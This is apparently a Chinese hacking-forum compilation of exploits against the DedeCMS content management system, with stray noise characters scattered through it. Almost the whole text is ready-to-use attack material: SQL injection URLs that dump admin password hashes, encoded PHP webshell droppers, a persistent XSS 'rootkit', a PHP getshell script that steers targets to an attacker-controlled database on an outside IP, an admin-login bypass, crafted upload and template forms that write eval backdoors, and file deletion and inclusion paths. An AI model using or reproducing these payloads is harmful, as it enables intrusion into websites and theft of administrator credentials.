dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
! o' i3 m! p) L0 s7 S# u+ f生成x.php 密码xiao，直接生成一句话。
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# U+ X0 A3 ]6 o- rDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
; p1 W3 Y+ c7 ^3 Mhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
' ?% M; ?7 D2 w' e! qhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`



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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
0 G0 b7 \* p1 d) Phttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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4 N. O1 [" y3 {0 l+ w2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
% Z  V6 p, @- \9 @8 U/ m#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
$ Z$ ^; B6 V7 L$ i6 ZDEDEcms Variable Coverage
! B$ g. x5 R) t8 A/ KExploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
+ A/ r1 x4 ^. n5 Z) A! L9 mif($argv[2]==null){
; v+ B; d' V# bprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
% l& |' j. @: e4 }5 oExample:
& i9 B" J$ ?0 J7 J1 }php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
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exit;
}
6 o1 g& P8 ~* u# w- U4 l$ [5 v2 @$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
1 S1 w6 k+ |9 c4 X/ ~7 {# P2 w$exp=Getshell($url,$aid,$path);
1 B9 N2 p+ e# ^3 k- u, s, M9 @if (strpos($exp,"OK")>12){
( F' {% v5 o; X! H0 b# T4 |echo "
0 c& N  P$ B7 y0 nExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
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if($aid==2)echo "
. q9 N; T: U% _) R! ^2 a; n' ?4 a0 P& nShell:".$url."/$path/fuck.php\n" ;
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4 s* U, o+ r! j5 k9 @) }. Oif($aid==3)echo "
  _6 q. S8 S! D* V8 o/ D9 q  ^/ XShell:".$url."/$path/plus/fuck.php\n";
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$ q+ V1 Z; A+ x' h1 [  j) L}else{
echo "
Exploit Failed \n";
}
( ]1 g: r! ^, U0 M1 Z- Vfunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
: V+ `! K0 r' `$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
7 n/ F" x$ `; N3 ?& S5 u$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
! |, l% r1 H7 q- _# S7 o# l0 ~" l$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
& z" N6 o) T7 F( ~( g9 Y* N1 r5 r$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
6 Q' H. w7 Q8 q$ock=fsockopen($host,$port);
; I2 q0 h6 {  E7 T$ Fif (!$ock) {
echo "
No response from ".$host."\n";
4 P5 n4 ?2 @) Z( A) i, h}
) ^. i, _! f! C. E# bfwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
9 \! C3 y& f* ]( R7 X/ b8 h8 o2 _return $exp;
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7 P) ^1 z1 j' I: I" k}
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?>







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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


  r  r9 l, e. Q把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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" _: i: m0 ?! l此漏洞的前提是必须得到后台路径才能实现




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' ~% f- m  L  B* M8 w9 mDedecms织梦 标签远程文件写入漏洞
1 P. N$ Z) z# v# w8 a前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


& I' H& h9 m; {% T3 d9 T再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
+ e4 [6 c; z# Q. B/ b9 l<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
+ w2 T* F. g  `, w<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
6 f  f/ f8 M" N9 E! c7 T<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
% t" N5 ?" W; S<input type="submit" value="提交" name="QuickSearchBtn"><br />
1 U7 h% l3 \$ h0 x3 i# i5 Z+ h</form>
<script>
function addaction()
5 ]( a9 Z: O8 i' ^{
document.QuickSearch.action=document.QuickSearch.doaction.value;
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1 @9 q' O2 U  j</script>

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DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
3 i1 c$ `) ^" f: g$ IDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
; Z6 S, g# X% c; ?8 U/ D/ muploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
5 s, f* Z: g& T. f  }@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
( g  A- C/ F: E# y$ a8 ~0 O{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
3 e* r0 ^: h. f2 T<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

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<div id="mainCp">
  @2 k5 |) s, A7 ^+ j<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
3 a# g: c# R: m# t: X6 g# v<label>标题：</label>
" E9 p9 ~/ ]; @, E4 K% G! o<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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4 R1 F% ]! m3 N/ r& S' H<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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7 ^' n6 `' {% D<label>隶属栏目：</label>
. D7 a- m4 Q8 z  f<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
& K8 v( g( X  x+ m8 l: L+ \</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


: t+ |  F5 x/ A$ r" G<label>我的分类：</label>
8 }2 Z# v2 K0 G* `- `<select name='mtypesid' size='1'>
0 L  i1 p6 q9 }# E% y0 |<option value='0' selected>请选择分类...</option>
- ~2 S$ h' s, q% [1 p2 L$ `<option value='1' class='option3' selected>hahahha</option>
</select>
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<label>信息摘要：</label>
" A" n6 G- x' S- h<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


<label>缩略图：</label>
% H5 m5 V  P& Z( i, H; M<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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( n# U. ]: x9 E  Z<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
" x5 {; N* ^5 dvalue="templet,htmltext;">（这里构造）
</div>


<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


7 y$ T' O- _4 Q/ T4 V: O7 y: A<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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" i6 f) L% g5 x( h# ?4 Y<button class="button2" type="submit">提交</button>
* B: T7 P0 D+ ?, D6 K! t<button class="button2 ml10" type="reset">重置</button>
/ V5 p) q5 i" p2 P/ d$ D9 ?) ^</div>

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5 d! W2 R0 `3 J9 x: h</div>
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9 I  x# M5 L0 [</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
7 H7 Y. z1 o5 p, z; I" E) O假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php


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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
  \! R9 a7 g3 @% G: V' |phpinfo();
{/dede:field}
/ |( P& |* y9 P* d" O9 j  m* U保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
% K9 U7 b6 T8 X$ s  R; Q; g<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
; Y4 Q2 p2 y. v; P1 j+ V1 h<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
2 y) |5 T( {6 j6 {- G, S1 Q5 @<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
- Z7 W; F! c- B1 R- ?2 W- c7 V/ j<button class="button2" type="submit" >更改</button>
5 O  K' |3 s! b# k% k</form>

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, G# O& u4 ^0 Q8 d构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
+ e! [* K; X8 ~8 F发表文章，然后构造修改表单如下：

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* r: K7 |9 m  v. p<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
) Z, f" ^+ ?/ s9 ~" O5 G1 i<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
5 v' l9 l; A, \: z" R<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
6 m. T9 K+ m! [9 M4 E+ q<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
8 B# g/ p5 O; N<option value='1' class='option3' selected=''>Test</option>
% P! r+ \& m" o1 y* A7 c<select name='mtypesid' size='1'>
6 X! E# `/ |/ Z4 `! \, _<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
. S& Q8 u. g5 L+ y! ~! {<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
) b  a/ G: ?+ B' q0 J& M4 \+ s<button class="button2" type="submit">提交</button>
</form>
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, S  Z: ?, m3 L$ S1 f* \$ e/ }织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
/ {" Y- }3 {0 o0 Khttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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<html>
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) \% Y+ o" a; D5 }8 G0 x0 F* F& u8 W3 J<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
( N) A$ L/ I; e, t5 _, C" i<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
( }) G8 _* u3 ]6 b9 R<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
* V) c7 K- Z5 l; C1 Q<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
$ J" L6 C; s) L% V! O% s<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
' `/ q: g, N1 r! c! ^' f% r1 r</form>
4 o6 k0 F2 M" O<br />It's just a exp for the bug of Dedecms V55...<br />
' ^7 K: f8 P9 e' }4 y% h8 PNeed register_globals = on...<br />
- o, S. P- c4 F' fFun the game,get a webshell at /data/cache/fly.php...<br />
: s% X8 \& f. y  v0 s6 D8 ^  Z</body>
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3 Q% G& ?0 y% x# h2 v' T# v% O织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
5 F5 x' T7 X9 J9 `8 [利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
# y9 i" e1 k. P  _0 g1. 访问网址：
3 ]. r% R" Q, z5 y; w& m3 ^3 xhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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* o( R  l% k- G$ I7 K3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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4 u5 ]7 g/ p7 c* I<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*